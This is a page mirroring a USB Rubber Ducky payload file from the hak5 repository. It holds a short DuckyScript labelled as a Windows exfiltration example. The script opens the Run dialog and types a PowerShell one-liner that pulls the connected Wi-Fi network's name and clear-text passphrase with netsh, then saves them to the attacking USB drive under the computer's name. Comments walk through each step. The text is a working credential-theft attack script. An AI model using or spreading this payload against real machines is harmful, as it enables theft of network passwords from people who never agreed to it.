Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/examples/Exfiltration/Exfiltration-example1.txt
2968 views
1
REM Example Simple USB Exfiltration Technique for Windows
2
ATTACKMODE HID STORAGE
3
DELAY 2000
4
GUI r
5
DELAY 100
6
STRING powershell "$m=(Get-Volume -FileSystemLabel 'DUCKY').DriveLetter;netsh wlan show profile name=(Get-NetConnectionProfile).Name key=clear|?{$_-match'SSID n|Key C'}|%{($_ -split':')[1]}>>$m':\'$env:computername'.txt'"
7
ENTER
8
9
10
REM This short Powershell one-liner executes from the Windows Run dialog.
11
REM The drive letter of the volume with the label “DUCKY” is saved as $m.
12
REM The netsh command will get the network name and passphrase for the currently connected network ((Get-NetConnectionProfile).Name).
13
REM The results of the netsh command (filtered for only SSID and key) will be redirected (saved) to a file on the root of the “DUCKY” drive, saved as the computer name (in .txt format).
14
15